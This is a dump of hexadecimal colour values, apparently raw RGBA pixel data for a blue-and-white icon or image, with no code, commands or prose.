265EB0B66284B9E90F51B4FF1A5DC1FF1C62CBFF1D66D4FF1E6ADBFF1F6DE1FF 1F70E6FF2071EAFF2073EDFF2173F0FF2174F1FF2175F2FF2175F3FF2175F4FF 2175F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF 2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF 2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF 2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF 2176F4FF2175F4FF2175F4FF2175F3FF2175F2FF2175F2FF2174F0FF2073EEFF 2071EBFF2070E7FF1F6EE3FF1E6BDDFF1D67D6FF1C63CDFF1B5FC4FF1657B8FF 3063B2C8577DB9F21052B6FF1B5EC3FF1C63CDFF1D67D6FF1E6BDEFF1F6EE3FF 2071E9FF2072ECFF2174F0FF2175F2FF2176F3FF2176F5FF2177F5FF2177F6FF 2177F6FF2177F6FF2177F6FF2177F6FF2177F6FF2177F7FF2177F7FF2177F7FF 2177F7FF2177F7FF2177F7FF2177F6FF2177F6FF2177F6FF2177F6FF2177F6FF 2177F6FF2177F6FF2177F6FF2177F6FF2177F6FF2177F6FF2177F6FF2177F7FF 2177F7FF2177F7FF2177F7FF2177F7FF2177F7FF2177F7FF2177F6FF2177F6FF 2177F6FF2177F6FF2177F6FF2177F5FF2176F5FF2176F4FF2175F3FF2174F0FF 2073EDFF2071EAFF1F6FE5FF1F6CDFFF1E69D9FF1C65D0FF1B60C6FF1456BAFF 3E6FB6F04E79B9F01254B7FF1B5FC5FF1C64CFFF1D68D8FF1E6CDFFF1F6FE5FF 2071EAFF2173EEFF2175F1FF2176F3FF2177F5FF2177F6FF2177F7FF2177F7FF 2177F7FF2278F7FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF 2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF 2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF 2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF 2278F7FF2177F7FF2177F7FF2177F7FF2177F7FF2177F5FF2176F4FF2175F2FF 2173EFFF2072EBFF1F70E7FF1F6DE1FF1E69DBFF1C65D2FF1B60C8FF1558BCFF 376BB7F04876B9F01355B9FF1B5FC6FF1C64D1FF1E69DAFF1F6DE0FF1F70E7FF 2072EBFF2173EFFF2175F2FF2176F5FF2177F6FF2177F7FF2278F8FF2278F8FF 2278F8FF1F76F9FF1A73F8FF1671F8FF1470F9FF136FF9FF136FF9FF1570F9FF 1872F9FF1C74F9FF2177F9FF2278F9FF2278F9FF2278F9FF2278F9FF2278F9FF 2278F9FF2278F9FF2278F9FF2278F9FF2278F9FF2278F9FF2278F9FF2278F9FF 2278F9FF2077F9FF1C74F9FF1872F9FF1671F9FF1570F9FF1670F8FF1772F8FF 1B74F8FF1F76F8FF2278F8FF2278F8FF2177F7FF2177F6FF2177F5FF2175F3FF 2174F0FF2072EDFF2070E9FF1F6EE2FF1E6ADBFF1D66D3FF1B61C9FF1659BDFF 3669B8F04674B9F01356BAFF1B60C7FF1C65D1FF1E69DAFF1F6DE1FF1F70E7FF 2072ECFF2173F0FF2175F2FF2177F5FF2177F7FF2278F8FF2278F9FF2077F9FF 1973F9FF287CF9FF4F93FAFF71A8FBFF84B4FBFF90BBFBFF8EBAFCFF7EB0FBFF 66A2FBFF448DFAFF1E76F9FF1B74F9FF2278F9FF2279FAFF2279FAFF2279FAFF 2279FAFF2279FAFF2279FAFF2279FAFF2279FAFF2279FAFF2279FAFF2178F9FF 1772F9FF2077F9FF448DFAFF65A1FBFF75ABFBFF79ACFBFF78ACFBFF69A3FBFF 4D92FAFF2C7EF9FF1973F9FF1F76F9FF2278F8FF2177F7FF2177F5FF2176F4FF 2174F1FF2073EDFF2070E9FF1F6EE3FF1E6ADCFF1D66D4FF1C61CAFF1659BEFF 3569B8F04473B9F01356BAFF1B60C7FF1C65D2FF1E69DBFF1F6DE1FF2070E8FF 2072EDFF2174F0FF2175F4FF2177F6FF2177F7FF2278F8FF1B73F9FF1C75F9FF 6AA4FBFFDAE8FCFFFAFCFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFF FFFFFEFFF8FBFEFFB6D2FDFF3E8AFBFF1772FAFF1F77FAFF2279FAFF2279FAFF 2279FAFF2279FAFF2279FAFF2279FAFF2279FAFF2279FAFF1B75FAFF1C75FAFF 5C9CFBFFC0D8FDFFF8FAFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFF FAFCFDFFE1ECFCFF7DAFFBFF2479F9FF1973F8FF2177F7FF2177F7FF2176F4FF 2174F1FF2073EEFF2071E9FF1F6EE3FF1E6ADCFF1D66D4FF1C61CAFF1659BEFF 3469B8F04373B9F01356BBFF1B60C8FF1C65D2FF1E69DBFF1F6DE1FF2070E8FF 2072EDFF2174F1FF2176F4FF2177F6FF2177F7FF1772F8FF438BFAFFBFD8FCFF FFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFEFEFF FFFFFEFFFFFFFEFFFFFFFEFFECF3FEFF8BB8FCFF1F77FAFF1D76FAFF2279FAFF 2279FAFF2279FAFF2279FAFF2279FAFF2279FAFF1572FAFF3F8AFBFFB9D4FDFF FEFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFF FFFFFEFFFFFFFEFFFFFFFEFFCFE1FCFF599AFAFF1671F7FF1F76F7FF2176F5FF 2175F1FF2073EEFF2071EAFF1F6EE3FF1E6BDDFF1D66D5FF1C61CAFF1659BFFF 3469B8F04273B9F01457BBFF1B60C8FF1C65D2FF1E69DAFF1F6EE2FF2070E9FF 2073EDFF2174F1FF2176F4FF2177F6FF1671F7FF5999FAFFE7F0FDFFFFFFFEFF FFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFFFFFFEFFB4D1FDFF287CFAFF1D76FAFF 2279FAFF2279FAFF2279FAFF2279FAFF1672FAFF5F9DFBFFE4EEFEFFFFFFFEFF FFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFFFFFEFFFFFFFDFFF7FAFDFF80B0FAFF1871F6FF1F75F5FF 2175F2FF2173EFFF2071EAFF1F6FE4FF1E6BDDFF1D67D5FF1C62CBFF1659BFFF 3368B9F04272B9F01457BBFF1B60C8FF1C65D2FF1E69DAFF1F6EE2FF2070E9FF 2073EDFF2174F1FF2176F4FF1670F6FF5395F8FFF0F5FDFFFFFFFDFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFFFFFFEFFBAD5FDFF2279FAFF 1F77FAFF2279FAFF2279FAFF1672FAFF5B9BFCFFF2F6FEFFFFFFFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFDFDFDFFFFFFFDFFFFFFFCFF7FB0F8FF1770F4FF 2074F2FF2173EFFF2071EAFF1F6FE4FF1E6BDDFF1D67D5FF1C62CBFF165ABFFF 3368B9F04272B9F01457BBFF1B60C8FF1C65D2FF1E69DAFF1F6EE2FF2070E9FF 2073EDFF2174F1FF1B72F4FF3584F7FFDFEAFBFFFFFFFDFFFDFDFDFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFFFFFFEFF9DC3FCFF 1873FAFF2279FAFF1C76FAFF3887FBFFE6EFFEFFFFFFFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFDFDFDFFFFFEFCFFFBFCFBFF5E9BF6FF 156EF2FF2173EFFF2071EAFF1F6FE4FF1E6BDDFF1D67D5FF1C62CCFF165ABFFF 3368B9F04272B9F01457BBFF1B60C8FF1C65D2FF1E6ADAFF1F6EE2FF2070E9FF 2073EDFF2074F1FF1A71F4FFA1C4F9FFFFFFFCFFFEFEFDFFFDFDFDFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFF9FBFEFF 5B9CFCFF1873FAFF1B75FAFFB5D1FDFFFFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFDFDFDFFFCFCFCFFFFFFFBFFDBE7F9FF 327FF3FF1C71EFFF2071EAFF1F6FE5FF1E6BDDFF1D67D5FF1C62CCFF165ABFFF 3368B9F04272B9F01457BBFF1B60C8FF1D65D3FF1E6ADBFF1F6DE2FF2070E9FF 2073EDFF1A70F1FF488DF5FFF7F8FAFFFFFEFCFFFDFDFDFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFFFFFFFFFFFFFFFFFFFF BFD9FEFF1470FBFF5497FCFFFAFCFFFFFFFFFFFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFDFDFDFFFCFCFCFFFBFBFBFFFFFFF9FF 78AAF4FF136BEFFF2071EAFF1F6FE5FF1E6BDDFF1D67D5FF1C62CCFF165ABFFF 3368B9F04171B9F01457BBFF1B60C8FF1D65D3FF1E6ADBFF1F6DE2FF2070E9FF 2073EDFF146DF1FF78AAF6FFFFFFFBFFFCFCFCFFFDFDFDFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFFFFFEFFFCFDFEFFC1DAFDFF9FC5FCFFA9CAFCFFDEEAFDFF FFFFFEFFFFFEFEFFFEFEFEFFFEFEFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF EDF4FFFF2C7FFCFFA1C6FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFEFEFF FEFEFEFFFEFEFEFFFFFFFEFFFFFFFEFFD4E5FDFFBDD7FDFFCDE0FDFFFBFCFEFF FFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFFFDFDFDFFFDFDFDFFFBFBFBFFFFFEF9FF C8DAF5FF2374EFFF1D70EAFF1F6FE5FF1E6BDDFF1D67D5FF1C62CCFF165ABFFF 3268B9F04171B9F01457BBFF1B60C8FF1D65D3FF1E6ADBFF1F6DE2FF2070E9FF 1F72EEFF1D72F1FFB5D0F7FFFFFFFBFFFCFCFCFFFDFDFDFFFEFEFEFFFEFEFEFF FEFEFEFFFFFFFEFFF7FAFEFF6FA7FCFF1A74FAFF1772FAFF1873FAFF2B7EFAFF B2D0FDFFFFFFFEFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFF7FB1FDFFC6DDFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FEFEFEFFFFFFFEFFF6F9FEFF7DB0FCFF237AFAFF1F77FAFF1F77FAFF5C9CFCFF E2EDFEFFFFFFFEFFFEFEFEFFFEFEFEFFFDFDFDFFFDFDFDFFFBFBFBFFFBFAF9FF FBFAF6FF619BF0FF166BEAFF1F6FE5FF1E6BDDFF1D67D5FF1C62CCFF165ABFFF 3268B9F04171B9F01457BCFF1B61C9FF1D65D3FF1E6ADBFF1F6DE2FF2070E9FF 1C70EEFF2F7DF2FFE8EEF8FFFFFEFBFFFCFCFCFFFDFDFDFFFEFEFEFFFEFEFEFF FFFFFEFFFFFFFEFF8CB9FCFF1370FAFF1F78FAFF2179FAFF2179FAFF1C75FAFF 1E77FAFFB7D3FDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFCADFFEFFEBF3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFDFEFEFF80B2FCFF126FFAFF1E77FAFF2078FAFF2078FAFF1270FAFF 5B9BFBFFFCFDFEFFFFFFFEFFFEFEFEFFFDFDFDFFFDFDFDFFFBFBFBFFF9F9F9FF FFFFF6FF95BAF1FF1469EAFF1F6FE5FF1E6BDDFF1D67D5FF1C62CCFF165ABFFF 3268B9F04171B9F01457BCFF1B61C9FF1D65D3FF1E6ADBFF1F6DE2FF2070E9FF 1B6FEEFF3C84F2FFF1F3F8FFFEFCFBFFFCFCFCFFFDFDFDFFFEFEFEFFFEFEFEFF FFFFFEFFF9FAFEFF458EFBFF1B74FAFF2279FAFF2279FAFF2279FAFF2279FAFF 1471FAFF64A2FCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFDAE9FEFF257BFAFF1F77FAFF2279FAFF2279FAFF2279FAFF2178FAFF 1B75FAFFB8D4FDFFFFFFFEFFFEFEFEFFFDFDFDFFFCFCFCFFFBFBFBFFF9F9F9FF FFFDF6FFA6C4F1FF196DEAFF1E6EE5FF1E6BDDFF1D67D5FF1C62CCFF165ABFFF 3268B9F04171B9F01457BCFF1B61C9FF1D65D3FF1E6ADCFF1F6EE2FF2070E9FF 1A6FEEFF458AF2FFF2F4F8FFFDFCFBFFFCFCFCFFFDFDFDFFFEFEFEFFFEFEFEFF FFFFFEFFF1F6FEFF3082FAFF1E77FAFF2279FAFF2279FAFF2279FAFF2279FAFF 1A74FBFF5498FCFFFDFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFC0D8FEFF2077FAFF2078FAFF2279FAFF2279FAFF2279FAFF2279FAFF 126FFAFF8DBAFCFFFFFFFEFFFEFEFEFFFDFDFDFFFCFCFCFFFBFBFBFFF9F9F9FF FFFCF6FFAEC9F2FF1C6EEAFF1E6EE5FF1E6BDDFF1D67D5FF1C62CCFF175BC0FF 3168B9F04171B9F01457BCFF1B61C9FF1D65D3FF1E6ADCFF1F6EE3FF2070E9FF 1A6FEEFF3F86F2FFF0F4F8FFFDFCFBFFFCFCFCFFFDFDFDFFFEFEFEFFFEFEFEFF FFFFFEFFF4F8FEFF3D8AFBFF1D76FAFF2279FAFF2279FAFF2279FAFF2279FBFF 1C75FBFF448EFCFFFAFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFC1D9FEFF2178FBFF2078FAFF2279FAFF2279FAFF2279FAFF2279FAFF 1370FAFF90BCFCFFFFFFFEFFFEFEFEFFFDFDFDFFFCFCFCFFFBFBFBFFF9F9F9FF FFFCF6FFA9C6F2FF1B6EEAFF1E6EE5FF1E6BDDFF1D67D5FF1C62CBFF175BC0FF 3168B9F04171B9F01457BCFF1B61C9FF1D65D3FF1E6ADCFF1F6EE3FF2070E9FF 1B6FEEFF3982F2FFF0F4F8FFFEFCFAFFFCFCFCFFFDFDFDFFFEFEFEFFFEFEFEFF FFFFFEFFFAFBFEFF4D93FBFF1B75FAFF2279FAFF2279FAFF2279FBFF2279FBFF 2078FBFF2279FBFFCCE0FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFC1D9FEFF2178FBFF2078FBFF2279FAFF2279FAFF2279FAFF2279FAFF 1370FAFF90BCFCFFFFFFFEFFFEFEFEFFFDFDFDFFFCFCFCFFFBFBFBFFF9F9F9FF FFFEF6FF9CBEF1FF156BEAFF1F6EE5FF1E6BDEFF1D67D6FF1C62CBFF175BC0FF 3168B9F04171B9F01457BCFF1B61C9FF1D65D3FF1E6ADCFF1F6EE3FF2071E9FF 1C71EEFF2C7BF1FFE2EBF8FFFFFEFBFFFCFCFCFFFDFDFDFFFEFEFEFFFEFEFEFF FFFFFEFFFFFFFEFF68A3FCFF1672FAFF2279FAFF2279FAFF2279FBFF2279FBFF 2279FBFF1873FBFF5B9BFCFFF8FBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFCADEFEFF2178FBFF2078FBFF2279FBFF2279FAFF2279FAFF2279FAFF 1370FAFF90BCFCFFFFFFFEFFFEFEFEFFFEFEFEFFFCFCFCFFFBFBFBFFFAF9F9FF FFFDF6FF77A7F1FF136AEAFF1F6FE4FF1E6BDEFF1D67D6FF1C62CBFF175BC0FF 3168B9F04171B9F01457BCFF1B61C9FF1D65D3FF1E6ADCFF1F6EE3FF2071E9FF 1F72EEFF1D72F1FFB4D0F8FFFFFFFBFFFCFCFCFFFDFDFDFFFEFEFEFFFEFEFEFF FFFEFEFFFFFFFEFF9CC3FCFF1672FAFF2279FAFF2279FBFF2279FBFF2279FBFF 2279FBFF2279FBFF1C75FBFF4D93FCFF8EBBFDFFA8CBFDFFA9CBFDFFA9CBFDFF A9CBFDFFA9CBFDFFA9CBFDFFA9CBFDFFA9CBFDFFA9CBFDFFA9CBFDFFA9CBFDFF AACBFDFF83B4FDFF2279FBFF2179FBFF2279FBFF2279FAFF2279FAFF2279FAFF 1270FAFF8EBBFCFFFFFFFEFFFEFEFEFFFEFEFEFFFCFCFCFFFBFBFBFFFEFDF9FF DBE5F6FF307DF0FF1C6FEBFF1F6FE4FF1E6BDEFF1D67D6FF1C62CBFF175BC0FF 3168B9F04171B9F01457BCFF1B61C9FF1D65D3FF1E6ADCFF1F6EE3FF2071E9FF 2073EEFF146CF1FF82B1F6FFFFFFFBFFFCFCFCFFFDFDFDFFFEFEFEFFFEFEFEFF FEFEFEFFFFFFFEFFEFF4FEFF3B88FBFF1B75FAFF2279FBFF2279FBFF2279FBFF 2279FBFF2279FBFF2279FBFF1A74FBFF1571FBFF1A74FBFF1A74FBFF1A74FBFF 1A74FBFF1A74FBFF1A74FBFF1A74FBFF1A74FBFF1A74FBFF1A74FBFF1A74FBFF 1A74FBFF1C75FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FAFF2279FAFF 1571FAFF9EC4FCFFFFFFFEFFFEFEFEFFFEFEFEFFFCFCFCFFFCFBFBFFFFFFF9FF 83B0F5FF136BEFFF2071EBFF1F6FE4FF1E6BDEFF1D67D6FF1C62CCFF175BC0FF 3168B9F04171B9F01457BCFF1B61C9FF1D65D3FF1E6ADCFF1F6EE3FF2071E9FF 2073EEFF186FF1FF5999F6FFFDFCFAFFFFFEFCFFFDFDFDFFFEFEFEFFFEFEFEFF FEFEFEFFFFFFFEFFFFFFFEFF92BCFCFF1571FAFF2279FBFF2279FBFF2279FBFF 2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2178FBFF2178FBFF2178FBFF 2178FBFF2178FBFF2178FBFF2178FBFF2178FBFF2178FBFF2178FBFF2178FBFF 2178FBFF2179FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FAFF1973FAFF 3182FAFFE6F0FEFFFFFFFEFFFEFEFEFFFEFEFEFFFCFCFCFFFEFEFBFFE1EAF9FF 3782F3FF1C70EFFF2071EBFF1F6FE4FF1E6BDEFF1D67D6FF1C62CCFF175BC0FF 3168B9F04171B9F01457BCFF1B61C9FF1D65D3FF1E6ADCFF1F6EE3FF2071E9FF 2073EEFF1E73F1FF2C7DF5FFDCE8FAFFFFFFFCFFFDFDFDFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFFFFFEFFF7FAFEFF5598FBFF1672FBFF2279FBFF2279FBFF 2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF 2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF 2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2078FAFF3181FBFF B8D4FDFFFFFFFEFFFFFFFEFFFEFEFEFFFEFEFEFFFDFDFCFFFFFFFBFF88B5F8FF 116CF2FF2173EFFF2071EBFF1F6FE4FF1E6BDEFF1D67D6FF1C62CCFF175BC0FF 3168B9F04171B9F01457BCFF1B61C9FF1D65D3FF1E6ADCFF1F6EE3FF2071E9FF 2073EEFF2175F1FF156FF4FF80B0F9FFFFFFFCFFFEFEFDFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFDEEBFEFF3987FBFF1773FBFF2279FBFF 2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF 2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF 2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF1974FAFF5E9EFBFFE7F0FEFF FFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFCFCFCFFFFFEFBFFCCDEF9FF 2577F3FF1E72EFFF2071EBFF1F6FE4FF1E6BDEFF1D67D6FF1C62CCFF175BC0FF 3168B9F04171B9F01457BCFF1B61C9FF1D65D3FF1E6ADCFF1F6EE3FF2071E9FF 2073EEFF2175F1FF1971F4FF468DF7FFF8FAFCFFFFFFFDFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFC0D9FEFF2E81FCFF1672FBFF 2178FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF 2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF 2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF1C76FAFF3D8AFBFFE3EDFEFF FFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFCFCFCFFFEFCFBFFFBFBF9FF 5091F4FF186FEFFF2071EBFF1F6FE4FF1E6BDEFF1D67D6FF1C62CCFF175BC0FF 3168B9F04171B9F01457BCFF1B61C9FF1D65D3FF1E6ADCFF1F6EE3FF2071E9FF 2073EEFF2175F1FF156FF4FF6EA6F8FFFCFDFCFFFEFEFDFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFFFFD2E4FEFF5296FCFF 1772FBFF1772FBFF1E77FBFF2178FBFF2279FBFF2279FBFF2279FBFF2279FBFF 2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF 2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FAFF1571FAFF619FFBFF FFFFFEFFFFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFFFCFCFCFFFBFBFBFFFFFFF9FF 84B1F4FF146CEFFF2071EBFF1F6FE4FF1E6BDEFF1D67D6FF1C62CBFF175BC0FF 3168B9F04171B9F01457BCFF1B61C9FF1D65D3FF1E6ADCFF1F6EE3FF2071E9FF 2073EEFF1D72F1FF3080F5FFDEE9FAFFFFFFFCFFFDFDFDFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFFFFFFFFFFFF B0D0FEFF65A2FCFF3081FCFF1A74FBFF1370FBFF1571FBFF1571FBFF1571FBFF 1571FBFF1571FBFF1571FBFF1571FBFF1571FBFF1571FBFF1672FBFF1B75FBFF 2179FBFF2279FBFF2279FBFF2279FBFF2279FAFF2279FAFF2078FAFF1D76FAFF BAD5FDFFFFFFFEFFFEFEFEFFFEFEFEFFFDFDFDFFFCFCFCFFFBFBFBFFFFFEF9FF CADBF5FF2375EFFF1E70EBFF1F6FE4FF1E6BDEFF1D67D6FF1C62CBFF175BC0FF 3168B9F04171B9F01457BCFF1B61C9FF1D65D3FF1E6ADCFF1F6EE3FF2070E9FF 2073EEFF146DF1FF6AA2F6FFFFFFFBFFFEFDFCFFFDFDFDFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFFFFFEFFFCFDFEFFCBDFFDFFB4D2FDFFB4D2FDFFB7D4FEFF BDD7FEFFC8DEFEFFE7F0FFFFABCCFEFF87B6FDFF78ADFDFF78ADFDFF78ADFDFF 78ADFDFF78ADFDFF78ADFDFF78ADFDFF78ADFDFF79AEFDFF71A9FDFF4991FCFF 1B75FBFF2078FBFF2279FBFF2279FBFF2279FAFF2279FAFF2279FAFF1672FAFF 63A0FBFFFFFFFEFFFFFFFEFFFEFEFEFFFDFDFDFFFCFCFCFFFBFBFBFFFCFAF9FF F7F6F6FF5191F0FF176DEAFF1F6FE5FF1E6BDDFF1D67D5FF1C62CBFF175BC0FF 3168B9F04171B9F01457BCFF1B61C9FF1D65D3FF1E6ADCFF1F6EE2FF2070E9FF 1F72EEFF186FF1FFA5C6F6FFFFFFFBFFFCFCFCFFFDFDFDFFFEFEFEFFFEFEFEFF FEFEFEFFFFFFFEFFEBF3FEFF619EFCFF1E77FAFF1D76FAFF1D76FAFF1D76FAFF 1571FBFF5297FCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9FBFFFF 85B4FDFF1B75FBFF2178FBFF2279FAFF2279FAFF2279FAFF2279FAFF1D76FAFF 3887FBFFF2F6FEFFFFFFFEFFFEFEFEFFFDFDFDFFFCFCFCFFFBFBFBFFF9F9F9FF FFFEF6FF84B0F1FF1369EAFF1F6FE5FF1E6BDDFF1D67D5FF1C62CCFF175BC0FF 3168B9F04071B9F01458BCFF1B61C9FF1D65D3FF1E6ADBFF1F6DE2FF2070E9FF 1C70EEFF2C7BF1FFE1EAF8FFFFFEFBFFFCFCFCFFFDFDFDFFFEFEFEFFFEFEFEFF FFFFFEFFFFFFFEFF7BAFFCFF0F6EFAFF2078FAFF2178FAFF2178FAFF2178FAFF 1873FAFF5397FCFFFCFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFF71A9FCFF1873FAFF2279FAFF2279FAFF2279FAFF2279FAFF2178FAFF 2078FAFFC1D9FDFFFFFFFEFFFEFEFEFFFDFDFDFFFCFCFCFFFBFBFBFFF9F9F9FF FFFEF6FF9BBEF1FF166BEAFF1F6EE5FF1E6BDDFF1D67D5FF1C62CCFF175ABFFF 3168B9F04071B9F01458BCFF1B61C9FF1D65D3FF1E6ADBFF1F6DE2FF2070E9FF 1B6FEEFF3A83F2FFF1F3F8FFFEFCFBFFFCFCFCFFFDFDFDFFFEFEFEFFFEFEFEFF FFFFFEFFFAFBFEFF4991FBFF1A74FAFF2279FAFF2279FAFF2279FAFF2279FAFF 1A74FAFF5497FBFFFCFDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFB4D1FDFF1C75FAFF2178FAFF2279FAFF2279FAFF2279FAFF2279FAFF 1471FAFF95BFFCFFFFFFFEFFFEFEFEFFFDFDFDFFFDFDFDFFFBFBFBFFF9F9F9FF FFFCF6FFA8C5F1FF1A6DEAFF1E6EE5FF1E6BDDFF1D67D5FF1C62CCFF175ABFFF 3168B9F04171B9F01457BCFF1B61C9FF1D65D3FF1E6ADBFF1F6DE2FF2070E9FF 1B6FEEFF4288F2FFF1F3F8FFFEFCFBFFFCFCFCFFFDFDFDFFFEFEFEFFFEFEFEFF FFFFFEFFF2F7FEFF3383FBFF1E77FAFF2279FAFF2279FAFF2279FAFF2279FAFF 1A74FAFF5397FBFFFCFDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFEFFBFD9FDFF2178FAFF2078FAFF2279FAFF2279FAFF2279FAFF2279FAFF 126FFAFF8CBAFCFFFFFFFEFFFEFEFEFFFDFDFDFFFDFDFDFFFBFBFBFFF9F9F9FF 